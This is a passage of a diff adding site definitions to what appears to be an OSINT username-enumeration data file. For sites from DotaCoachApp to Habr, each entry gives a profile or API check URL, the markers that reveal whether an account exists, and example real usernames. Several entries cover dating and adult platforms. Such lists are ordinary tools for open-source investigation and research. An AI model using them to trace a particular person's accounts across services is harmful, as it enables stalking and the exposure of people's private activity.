"DotaCoachApp", + "zveen" + ], + "cat": "gaming" + }, + { + "name": "DOU", + "uri_check": "https://dou.ua/users/{account}/", + "e_code": 200, + "e_string": "class=\"page-profile\"", + "m_string": "class=\"page-error\"", + "m_code": 404, + "known": [ + "doucommunity", + "volodymyrobrizan" + ], + "cat": "social" + }, + { + "name": "Dribbble", + "uri_check": "https://dribbble.com/{account}", + "e_code": 200, + "e_string": " | Dribbble", + "m_string": "(404)", + "m_code": 404, + "known": [ + "UI8", + "keeplegend" + ], + "cat": "art" + }, + { + "name": "DRIVE2.RU", + "uri_check": "https://www.drive2.ru/users/{account}/", + "e_code": 200, + "e_string": "itemprop=\"name\"", + "m_string": "404 — Страница не найдена", + "m_code": 404, + "known": [ + "seryjkot", + "timo6a" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Droners", + "uri_check": "https://droners.io/accounts/{account}/", + "e_code": 200, + "e_string": "- Professional Drone Pilot", + "m_string": "(404)", + "m_code": 302, + "known": [ + "chriskahn", + "swilken" + ], + "cat": "hobby" + }, + { + "name": "Drum", + "uri_check": "https://drum.io/{account}/", + "e_code": 200, + "e_string": "firstName\": \"", + "m_string": "Page not found", + "m_code": 302, + "known": [ + "huckcredibleshotz", + "thesuccesspalette" + ], + "cat": "hobby" + }, + { + "name": "Duolingo", + "uri_check": "https://www.duolingo.com/2017-06-30/users?username={account}&_=1628308619574", + "uri_pretty": "https://www.duolingo.com/profile/{account}", + "e_code": 200, + "e_string": "joinedClassroomIds", + "m_string": "\"users\" : []", + "m_code": 200, + "known": [ + "sdfsdf", + "duolingo" + ], + "cat": "hobby" + }, + { + "name": "easyen", + "uri_check": "https://easyen.ru/index/8-0-{account}", + "e_code": 200, + "e_string": "День рождения", + "m_string": "Пользователь не найден", + "m_code": 200, + "known": [ + "wd" + ], + "cat": "social" + }, + { + "name": "eBay", + "uri_check": "https://www.ebay.com/usr/{account}", + "e_code": 200, + "e_string": "on eBay", + "m_string": "The User ID you entered was not found", + "m_code": 200, + "known": [ + "the_gqs", + "johnny" + ], + "cat": "shopping" + }, + { + "name": "ebay_stores", + "uri_check": "https://www.ebay.com/str/{account}", + "e_code": 200, + "e_string": "| eBay Stores", + "m_string": "Sorry, this store was not found.", + "m_code": 410, + "known": [ + "tactical", + "tactical-security" + ], + "cat": "shopping" + }, + { + "name": "Electrobel", + "uri_check": "https://be.electrobel.org/register.ajax", + "uri_pretty": "https://be.electrobel.org/{account}", + "post_body": "action=checkUsername&username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"html\":\"Username existsPlease choose another\"", + "m_string": "\"html\":\"Name is available\"", + "m_code": 200, + "known": [ + "wixel", + "Gloomer" + ], + "cat": "social" + }, + { + "name": "Engadget", + "uri_check": "https://www.engadget.com/about/editors/{account}/", + "e_code": 200, + "e_string": "\"displayName\"", + "m_string": ", - Engadget", + "m_code": 200, + "known": [ + "devindra-hardawar", + "kris-holt" + ], + "cat": "tech" + }, + { + "name": "EPORNER", + "uri_check": "https://www.eporner.com/xhr/check/", + "uri_pretty": "https://www.eporner.com/profile/{account}/", + "post_body": "xhr=1&act=check_login&login={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"msg_body\":\"This login already exists. Choose another one\"", + "m_string": "\"msg_body\":\"Available\"", + "m_code": 200, + "known": [ + "LAM_2030", + "DianaX814" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Etoro", + "uri_check": "https://www.etoro.com/api/logininfo/v1.1/users/{account}", + "uri_pretty": "https://www.etoro.com/people/{account}", + "e_code": 200, + "e_string": "\"gcid\":", + "m_string": "\"ErrorCode\":\"NotFound\"", + "m_code": 404, + "known": [ + "jeepsontrading", + "armandofoschini" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Etsy", + "uri_check": "https://www.etsy.com/people/{account}", + "e_code": 200, + "e_string": " favorite items - Etsy", + "m_string": "Sorry, the member you are looking for does not exist", + "m_code": 404, + "known": [ + "david", + "happiness" + ], + "cat": "shopping" + }, + { + "name": "Evolution CMS", + "uri_check": "https://community.evocms.ru/users/?search={account}", + "e_code": 200, + "e_string": "id=\"user-search\"", + "m_string": "", + "m_code": 200, + "known": [ + "Dmi3yy", + "Pathologic" + ], + "cat": "tech" + }, + { + "name": "Expressional.social (Mastodon Instance)", + "uri_check": "https://expressional.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://expressional.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "jippi", + "poolesen" + ], + "cat": "social" + }, + { + "name": "Eyeem", + "uri_check": "https://www.eyeem.com/u/{account}", + "e_code": 200, + "e_string": "Marketplace", + "m_string": "Not Found (404) | EyeEm", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "art" + }, + { + "name": "F3", + "uri_check": "https://f3.cool/{account}", + "e_code": 200, + "e_string": "@", + "m_string": "Page Not Found - F3", + "m_code": 404, + "known": [ + "nick", + "john" + ], + "cat": "social" + }, + { + "name": "Fabswingers", + "uri_check": "https://www.fabswingers.com/profile/{account}", + "e_code": 200, + "e_string": "View Profile", + "m_string": "The user you tried to view doesn't seem to be on the site any more", + "m_code": 200, + "known": [ + "justusboth2013", + "hellfireclub", + "fabswingers.com" + ], + "cat": "dating" + }, + { + "name": "Facebook", + "uri_check": "https://www.facebook.com/{account}/", + "e_code": 200, + "e_string": "__isProfile", + "m_string": "<title>Facebook", + "m_code": 200, + "known": [ + "john.miniolic", + "adam" + ], + "cat": "social" + }, + { + "name": "FACEIT", + "uri_check": "https://www.faceit.com/api/users/v1/nicknames/{account}", + "uri_pretty": "https://www.faceit.com/en/players/{account}", + "e_code": 200, + "e_string": "\"result\":\"OK\"", + "m_string": "\"message\":\"user not found\"", + "m_code": 404, + "known": [ + "s1mple", + "w0nderful" + ], + "cat": "gaming" + }, + { + "name": "Faktopedia", + "uri_check": "https://faktopedia.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza fakty od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "janek", + "ania" + ], + "cat": "images" + }, + { + "name": "FanCentro", + "uri_check": "https://fancentro.com/api/profile.get?profileAlias={account}&limit=1", + "uri_pretty": "https://fancentro.com/{account}/", + "e_code": 200, + "e_string": "\"status\":true", + "m_string": "\"status\":false", + "m_code": 200, + "known": [ + "medroxy", + "miaaamador" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Fandom", + "uri_check": "https://www.fandom.com/u/{account}", + "e_code": 200, + "e_string": "| Profile | Fandom", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "EJacobs94", + "Drew_Dietsch" + ], + "cat": "gaming" + }, + { + "name": "fanpop", + "uri_check": "https://www.fanpop.com/fans/{account}", + "e_code": 200, + "e_string": "Fanpopping since", + "m_string": "", + "m_code": 302, + "known": [ + "test", + "johndoe" + ], + "cat": "social" + }, + { + "name": "Fansly", + "uri_check": "https://apiv2.fansly.com/api/v1/account?usernames={account}", + "uri_pretty": "https://fansly.com/{account}/posts", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"response\":[]", + "m_code": 200, + "known": [ + "Mikomin", + "test" + ], + "cat": "xx NSFW xx", + "protection": [ + "cloudfront" + ] + }, + { + "name": "Fark", + "uri_check": "https://www.fark.com/users/{account}", + "e_code": 200, + "e_string": "Fark account number", + "m_string": "Tastes like chicken.", + "m_code": 200, + "known": [ + "bob", + "bobby" + ], + "cat": "social" + }, + { + "name": "FatSecret", + "uri_check": "https://www.fatsecret.com/member/{account}", + "e_code": 200, + "e_string": "- Member", + "m_string": "Your Key to Success", + "m_code": 302, + "known": [ + "bob", + "bobby" + ], + "cat": "health" + }, + { + "name": "Federated.press (Mastodon Instance)", + "uri_check": "https://federated.press/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://federated.press/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "wood", + "cliffcheney" + ], + "cat": "social" + }, + { + "name": "Figma", + "uri_check": "https://www.figma.com/api/profile/handle/{account}", + "uri_pretty": "https://www.figma.com/@{account}", + "e_code": 200, + "e_string": "\"status\":200", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "bob", + "mike" + ], + "cat": "tech", + "protection": [ + "cloudfront" + ] + }, + { + "name": "Filmot Channel Search", + "uri_check": "https://filmot.com/channelsearch/{account}", + "e_code": 200, + "e_string": "Subscribers", + "m_string": "No channels found", + "m_code": 200, + "known": [ + "bobicraft", + "parodiadoranimado" + ], + "cat": "archived" + }, + { + "name": "Filmot Unlisted Videos", + "uri_check": "https://filmot.com/unlistedSearch?channelQuery={account}&sortField=uploaddate&sortOrder=desc&", + "e_code": 200, + "e_string": "clips found", + "m_string": "No results", + "m_code": 200, + "known": [ + "holasoygerman", + "elrubiusomg" + ], + "cat": "archived" + }, + { + "name": "Filmweb", + "uri_check": "https://www.filmweb.pl/user/{account}", + "e_code": 200, + "e_string": "profil w Filmweb", + "m_string": "Varnish 404", + "m_code": 200, + "known": [ + "test", + "Marcin_P" + ], + "cat": "hobby" + }, + { + "name": "fine_art_america", + "uri_check": "https://fineartamerica.com/profiles/{account}", + "e_code": 200, + "e_string": "Shop for artwork by", + "m_string": "Browse through millions of independent artists in our extensive", + "m_code": 301, + "known": [ + "scott-norris", + "mary-helmreich" + ], + "cat": "shopping" + }, + { + "name": "Fiverr", + "uri_check": "https://www.fiverr.com/validate_username", + "uri_pretty": "https://www.fiverr.com/{account}", + "post_body": "{\"username\": \"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 201, + "e_string": "\"errorKeys\":[[\"username\",\"user_taken\"]]", + "m_string": "\"status\":\"success\"", + "m_code": 201, + "known": [ + "yellowdd", + "samanvay" + ], + "cat": "shopping" + }, + { + "name": "FL.ru", + "uri_check": "https://www.fl.ru/users/{account}/portfolio/", + "e_code": 200, + "e_string": "class=\"page-profile\"", + "m_string": "content=\"404 Not Found\"", + "m_code": 404, + "known": [ + "makediffdev", + "moldanovadasha" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Flickr", + "uri_check": "https://www.flickr.com/photos/{account}/", + "e_code": 200, + "e_string": "| Flickr", + "m_string": "", + "m_code": 404, + "known": [ + "glaciernps", + "test" + ], + "cat": "images" + }, + { + "name": "Flightradar24", + "uri_check": "https://my.flightradar24.com/{account}/", + "e_code": 200, + "e_string": "class=\"profile-card\" data-profile-user=", + "m_string": "class=\"main page-not-found-main", + "m_code": 404, + "known": [ + "finn", + "pavelkral" + ], + "cat": "misc" + }, + { + "name": "Flipboard", + "uri_check": "https://flipboard.com/@{account}", + "e_code": 200, + "e_string": ") on Flipboard", + "m_string": "", + "m_code": 404, + "known": [ + "cosmopolitan", + "Mashable" + ], + "cat": "tech" + }, + { + "name": "flowcode", + "uri_check": "https://www.flowcode.com/page/{account}", + "e_code": 200, + "e_string": ";s Flowpage", + "m_string": "Nobody's reserved this Flowpage yet.", + "m_code": 404, + "known": [ + "evdokia", + "irina" + ], + "cat": "social" + }, + { + "name": "Fodors Forum", + "uri_check": "https://www.fodors.com/community/profile/{account}/forum-activity", + "e_code": 200, + "e_string": "User Profile | Fodor’s Travel", + "m_string": "Plan Your Trip Online", + "m_code": 302, + "known": [ + "jdstraveler", + "gooster" + ], + "cat": "social" + }, + { + "name": "Folkd", + "uri_check": "https://www.folkd.com/?app=core&module=system&controller=ajax&do=usernameExists&input={account}", + "uri_pretty": "https://www.folkd.com/search/?q={account}&quick=1&type=core_members", + "e_code": 200, + "e_string": "\"message\":\"That display name is in use by another member.\"", + "m_string": "\"result\":\"ok\"", + "m_code": 200, + "known": [ + "smartplayapk", + "abdulmerfantz" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Fortnite Tracker", + "uri_check": "https://fortnitetracker.com/profile/all/{account}", + "e_code": 200, + "e_string": "s Fortnite Stats - Fortnite Tracker", + "m_string": "Fortnite Player Stats -", + "m_code": 404, + "known": [ + "steph", + "sam" + ], + "cat": "gaming" + }, + { + "name": "forumprawne.org", + "uri_check": "https://forumprawne.org/members/{account}.html", + "e_code": 200, + "e_string": "Wiadomość", + "m_string": "", + "m_code": 500, + "known": [ + "test", + "test2" + ], + "cat": "misc" + }, + { + "name": "Fosstodon.org (Mastodon Instance)", + "uri_check": "https://fosstodon.org/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://fosstodon.org/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "linux", + "Phil35" + ], + "cat": "social" + }, + { + "name": "fotka", + "uri_check": "https://api.fotka.com/v2/user/dataStatic?login={account}", + "uri_pretty": "https://fotka.com/profil/{account}", + "e_code": 200, + "e_string": "profil", + "m_string": "ERROR", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "social" + }, + { + "name": "Fotolog Archived Profile", + "uri_check": "https://archive.org/wayback/available?url=https://www.fotolog.com/{account}", + "uri_pretty": "https://web.archive.org/web/2/fotolog.com/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "x_zudex_x", + "angelito" + ], + "cat": "archived" + }, + { + "name": "Foursquare", + "uri_check": "https://foursquare.com/{account}", + "e_code": 200, + "e_string": "class=\"userProfile2Page\"", + "m_string": "", + "m_code": 308, + "known": [ + "j0hn", + "ncyp23" + ], + "cat": "social" + }, + { + "name": "freeCodeCamp", + "uri_check": "https://api.freecodecamp.org/users/get-public-profile?username={account}", + "uri_pretty": "https://www.freecodecamp.org/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "{}", + "m_code": 404, + "known": [ + "zaira", + "caesarsage" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Freelance.RU", + "uri_check": "https://freelance.ru/{account}", + "e_code": 200, + "e_string": "class=\" user-top-container user-portfolio\"", + "m_string": "class=\"msg_error alert alert-danger\"", + "m_code": 404, + "known": [ + "sunsey", + "semanticlan" + ], + "cat": "business" + }, + { + "name": "Freelance.ua", + "uri_check": "https://freelance.ua/user/{account}/", + "e_code": 200, + "e_string": "p-profile-avatar", + "m_string": "Схоже, дана сторінка не знайдена", + "m_code": 404, + "known": [ + "tkachenkoalex", + "oleksandrseo1" + ], + "cat": "social" + }, + { + "name": "Freelancehunt Employer", + "uri_check": "https://freelancehunt.com/en/employer/{account}.html", + "e_code": 200, + "e_string": "\"@id\":\"https://freelancehunt.com/en/employers\"", + "m_string": "User not found.", + "m_code": 404, + "known": [ + "vadym1232", + "Dekovital" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Freelancehunt Freelancer", + "uri_check": "https://freelancehunt.com/en/freelancer/{account}.html", + "e_code": 200, + "e_string": "\"@id\":\"https://freelancehunt.com/en/freelancers\"", + "m_string": "User not found.", + "m_code": 404, + "known": [ + "rhythmdev_top", + "Zainka" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Freelancer", + "uri_check": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={account}&compact=true", + "uri_pretty": "https://www.freelancer.com/u/{account}", + "e_code": 200, + "e_string": "\"users\":{\"", + "m_string": "\"users\":{}", + "m_code": 200, + "known": [ + "desiaunty", + "creatvmind" + ], + "cat": "business" + }, + { + "name": "freesound", + "uri_check": "https://freesound.org/people/{account}/section/stats/?ajax=1", + "uri_pretty": "https://freesound.org/people/{account}/", + "e_code": 200, + "e_string": "forum posts", + "m_string": "

    Page not found

    ", + "m_code": 404, + "known": [ + "Manu593", + "somewhereinjp" + ], + "cat": "music" + }, + { + "name": "FreeSteamKeys", + "uri_check": "https://www.freesteamkeys.com/members/{account}/", + "e_code": 200, + "e_string": "item-header-avatar", + "m_string": "error404", + "m_code": 404, + "known": [ + "giveaway-su", + "keygenerator" + ], + "cat": "gaming" + }, + { + "name": "FriendFinder", + "uri_check": "https://friendfinder.com/profile/{account}", + "e_code": 200, + "e_string": "Last Visit:", + "m_string": "302 Found", + "m_code": 302, + "known": [ + "alex56", + "john" + ], + "cat": "dating" + }, + { + "name": "FriendFinder-X", + "uri_check": "https://www.friendfinder-x.com/profile/{account}", + "e_code": 200, + "e_string": "'s Dating Profile on FriendFinder-x", + "m_string": "The document has moved", + "m_code": 302, + "known": [ + "john" + ], + "cat": "dating" + }, + { + "name": "Fur Affinity", + "uri_check": "https://www.furaffinity.net/user/{account}/", + "e_code": 200, + "e_string": "", + "m_string": "

    System Error

    ", + "m_code": 200, + "known": [ + "karintina", + "mikrogoat" + ], + "cat": "images" + }, + { + "name": "Gab", + "uri_check": "https://gab.com/api/v1/account_by_username/{account}", + "uri_pretty": "https://gab.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Record not found\"", + "m_code": 404, + "known": [ + "RealMarjorieGreene", + "LaurenBoebert" + ], + "cat": "political" + }, + { + "name": "Game Jolt", + "uri_check": "https://gamejolt.com/site-api/web/profile/@{account}/", + "uri_pretty": "https://gamejolt.com/@{account}", + "e_code": 200, + "e_string": "created_on", + "m_string": "null,", + "m_code": 404, + "known": [ + "nilllzz", + "KorbloxTeams" + ], + "cat": "gaming" + }, + { + "name": "game_debate", + "uri_check": "https://www.game-debate.com/profile/{account}", + "e_code": 200, + "e_string": "| , , GB pc game performance", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "Johnboy", + "Crazy" + ], + "cat": "gaming" + }, + { + "name": "Gamer DVR", + "uri_check": "https://gamerdvr.com/gamer/{account}", + "e_code": 200, + "e_string": "class=\"gamerpic\"", + "m_string": "You are being <", + "m_code": 302, + "known": [ + "dnlunger", + "punksxe" + ], + "cat": "gaming" + }, + { + "name": "Gamespot", + "uri_check": "https://www.gamespot.com/profile/{account}/summary/activity/?ajax", + "uri_pretty": "https://www.gamespot.com/profile/{account}/", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "alice", + "bob" + ], + "cat": "gaming", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Garmin connect", + "uri_check": "https://connect.garmin.com/modern/profile/{account}", + "e_code": 200, + "e_string": "window.ERROR_VIEW = null", + "m_string": "resourceNotFoundRoute", + "m_code": 200, + "known": [ + "tommy", + "cderalow" + ], + "cat": "health" + }, + { + "name": "GDBrowser", + "uri_check": "https://gdbrowser.com/api/profile/{account}", + "uri_pretty": "https://gdbrowser.com/u/{account}", + "e_code": 200, + "e_string": "\"accountID\":", + "m_string": "-1", + "m_code": 500, + "known": [ + "SorkoPiko", + "Subwoofer" + ], + "cat": "gaming" + }, + { + "name": "GeeksForGeeks", + "uri_check": "https://authapi.geeksforgeeks.org/api-get/user-profile-info/?handle={account}", + "uri_pretty": "https://www.geeksforgeeks.org/user/{account}/", + "e_code": 200, + "e_string": "\"message\":\"data retrieved successfully\"", + "m_string": "\"message\":\"User not found!\"", + "m_code": 400, + "known": [ + "nath_789", + "harshrajsinghsiwan", + "igovindindia" + ], + "cat": "coding" + }, + { + "name": "Genius (Artists)", + "uri_check": "https://genius.com/artists/{account}", + "e_code": 200, + "e_string": "class=\"profile_header\"", + "m_string": "class=\"render_404\"", + "m_code": 404, + "known": [ + "Profjam", + "Hozier" + ], + "cat": "music" + }, + { + "name": "Genius (Users)", + "uri_check": "https://genius.com/{account}", + "e_code": 200, + "e_string": "class=\"profile_header\"", + "m_string": "class=\"render_404\"", + "m_code": 404, + "known": [ + "Rabe8i", + "Tobias_the_explicator" + ], + "cat": "music" + }, + { + "name": "Geocaching", + "uri_check": "https://www.geocaching.com/p/?u={account}", + "e_code": 200, + "e_string": "class=\"hax-profile\"", + "m_string": "class=\"callout http-error\"", + "m_code": 404, + "known": [ + "moun10bike", + "niraD", + "john" + ], + "cat": "social" + }, + { + "name": "getmonero", + "uri_check": "https://forum.getmonero.org/user/{account}", + "e_code": 200, + "e_string": "Monero | User", + "m_string": "Monero | Page not found. Error: 404", + "m_code": 200, + "known": [ + "silverfox", + "monero" + ], + "cat": "misc" + }, + { + "name": "Gettr", + "uri_check": "https://gettr.com/api/s/uinf/{account}", + "uri_pretty": "https://gettr.com/user/{account}", + "e_code": 200, + "e_string": "\"rc\":\"OK\"", + "m_string": "\"rc\":\"ERR\"", + "m_code": 400, + "known": [ + "gettr", + "support" + ], + "cat": "social" + }, + { + "name": "Gigapan", + "uri_check": "https://www.gigapan.com/profiles/{account}", + "e_code": 200, + "e_string": "width=\"100\"", + "m_string": "View Gigapans", + "m_code": 404, + "known": [ + "test", + "lucahammer" + ], + "cat": "hobby" + }, + { + "name": "Giphy (Channel)", + "uri_check": "https://giphy.com/channel/{account}", + "e_code": 200, + "e_string": "\\\"user_id\\\"", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "teddy_99", + "LastYear" + ], + "cat": "images", + "protection": [ + "other" + ] + }, + { + "name": "Gitea", + "uri_check": "https://gitea.com/api/v1/users/{account}", + "uri_pretty": "https://gitea.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\":\"user redirect does not exist", + "m_code": 404, + "known": [ + "xin", + "dev", + "jane" + ], + "cat": "coding" + }, + { + "name": "Gitee", + "uri_check": "https://gitee.com/{account}", + "e_code": 200, + "e_string": "class=\"ui container user_page\"", + "m_string": "class=\"container error midCenter\"", + "m_code": 404, + "known": [ + "maxim", + "fupengfei" + ], + "cat": "coding" + }, + { + "name": "GitHub", + "uri_check": "https://api.github.com/users/{account}", + "uri_pretty": "https://github.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"status\": \"404\"", + "m_code": 404, + "known": [ + "test", + "WebBreacher" + ], + "cat": "coding" + }, + { + "name": "GitHub Gists", + "uri_check": "https://api.github.com/users/{account}/gists", + "uri_pretty": "https://gist.github.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"status\": \"404\"", + "m_code": 404, + "known": [ + "teymurgahramanov", + "WebBreacher" + ], + "cat": "coding" + }, + { + "name": "GitLab", + "uri_check": "https://gitlab.com/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "skennedy", + "KennBro" + ], + "cat": "coding" + }, + { + "name": "gloria.tv", + "uri_check": "https://gloria.tv/{account}", + "e_code": 200, + "e_string": "Last online", + "m_string": "Page unavailable", + "m_code": 404, + "known": [ + "Irapuato", + "en.news" + ], + "cat": "social" + }, + { + "name": "GNOME (GitLab)", + "uri_check": "https://gitlab.gnome.org/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.gnome.org/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "MystikNinja", + "0xMRTT" + ], + "cat": "coding", + "protection": [ + "anubis" + ] + }, + { + "name": "GNOME (Shell Extensions)", + "uri_check": "https://extensions.gnome.org/accounts/profile/{account}", + "e_code": 200, + "e_string": "class=\"user-details\"", + "m_string": "

    404 - Page not Found

    ", + "m_code": 404, + "known": [ + "johnny", + "dev" + ], + "cat": "coding" + }, + { + "name": "GOG", + "uri_check": "https://www.gog.com/u/{account}", + "e_code": 200, + "e_string": "window.profilesData.profileUser", + "m_string": "href=\"http://www.gog.com/404\"", + "m_code": 302, + "known": [ + "user", + "Admin" + ], + "cat": "gaming" + }, + { + "name": "Goodgame_Russia", + "uri_check": "https://goodgame.ru/channel/{account}/", + "e_code": 200, + "e_string": "channel_id", + "m_string": "Такой страницы не существует", + "m_code": 400, + "known": [ + "ejysarmat", + "JacksonTV" + ], + "cat": "gaming" + }, + { + "name": "gpodder.net", + "uri_check": "https://gpodder.net/user/{account}/", + "e_code": 200, + "e_string": "mdash; gpodder.net", + "m_string": "404 - Not found", + "m_code": 404, + "known": [ + "blue", + "red" + ], + "cat": "music" + }, + { + "name": "grandprof", + "uri_check": "https://grandprof.org/communaute/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Mauvaise pioche", + "m_code": 404, + "known": [ + "mohamed01", + "amine" + ], + "cat": "misc" + }, + { + "name": "Graphics.social (Mastodon Instance)", + "uri_check": "https://graphics.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://graphics.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "brian", + "moonpotato" + ], + "cat": "social" + }, + { + "name": "Gravatar", + "uri_check": "https://en.gravatar.com/{account}.json", + "uri_pretty": "https://en.gravatar.com/{account}", + "e_code": 200, + "e_string": "entry", + "m_string": "User not found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "images" + }, + { + "name": "Greasy Fork", + "uri_check": "https://greasyfork.org/en/users?q={account}", + "e_code": 200, + "e_string": "class=\"user-list\"", + "m_string": "

    No users!

    ", + "m_code": 200, + "known": [ + "TScofield", + "gitscofield" + ], + "cat": "tech" + }, + { + "name": "GTAinside.com", + "uri_check": "https://www.gtainside.com/user/{account}", + "e_code": 200, + "e_string": "userpage_user", + "m_string": "

    404 Not Found", + "m_code": 200, + "known": [ + "daniel", + "franco" + ], + "cat": "gaming" + }, + { + "name": "gumroad", + "uri_check": "https://{account}.gumroad.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s profile picture", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "ellietalksmoney", + "reallyniceimages" + ], + "cat": "shopping" + }, + { + "name": "Habbo.com", + "uri_check": " https://www.habbo.com/api/public/users?name={account}", + "uri_pretty": " https://www.habbo.com/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "john", + "michelle" + ], + "cat": "gaming" + }, + { + "name": "Habbo.com.br", + "uri_check": "https://www.habbo.com.br/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.com.br/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "jeaniucas", + "cellao" + ], + "cat": "gaming" + }, + { + "name": "Habbo.com.tr", + "uri_check": "https://www.habbo.com.tr/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.com.tr/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "fatma9180", + "elektrikci" + ], + "cat": "gaming" + }, + { + "name": "Habbo.de", + "uri_check": "https://www.habbo.de/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.de/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "klaus", + "angelinaa" + ], + "cat": "gaming" + }, + { + "name": "Habbo.es", + "uri_check": " https://www.habbo.es/api/public/users?name={account}", + "uri_pretty": " https://www.habbo.es/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "not-found", + "m_code": 404, + "known": [ + "juan", + "michelle" + ], + "cat": "gaming" + }, + { + "name": "Habbo.fi", + "uri_check": "https://www.habbo.fi/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.fi/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "cucumberz", + "Yasline" + ], + "cat": "gaming" + }, + { + "name": "Habbo.fr", + "uri_check": "https://www.habbo.fr/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.fr/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "2006", + "sicilienne" + ], + "cat": "gaming" + }, + { + "name": "Habbo.it", + "uri_check": "https://www.habbo.it/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.it/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "samsebek", + "papablu" + ], + "cat": "gaming" + }, + { + "name": "Habbo.nl", + "uri_check": "https://www.habbo.nl/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.nl/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "XOTWOD.xx", + "xoSorxo" + ], + "cat": "gaming" + }, + { + "name": "Habr", + "uri_check": "https://habr.com/ru/users/{account}/", + "e_code": 200, + "e_string": "tm-page tm-user", + "m_string": "tm-error-message", + "m_code": 404, + "known": [ + "Bo0oM", + "AlhimicMan" + ], + "cat": "social" + }, + { + "name": "Habr Employer", + "uri_check": "https://freelance.habr.com/freelancers/{account}/employer", + "e_code": 200, + "e_string": "user-profile profile-blocks", + "m_string": "icon_user_locked", + "m_code": 404, + "known": [ + "aufdk", + "Danvantariy" + ], + "cat": "social" + }, + { + "name": "Habr Freelancer", + "uri_check": "https://freelance.habr.com/freelancers/{account}", + "e_code": 200, + "e_string": "user-profile profile-blocks", + "m_string": "icon_user_locked", + "m_code": 404, + "known": [ + "Bo0oM", + "Akloom" + ], + "cat": "social" + }, + { + "name": "Habr Q&A", + "uri_check": "https://qna.habr.com/user/{account}", + "e_code": 200, + "e_string": "class=\"page-header__info\"", + "m_string": "icon_error_404", + "m_code": 404, + "known": [ + "Masthead", + "dmitriypur" + ], + "cat": "coding" + }, + { + "name": "Habtium", + 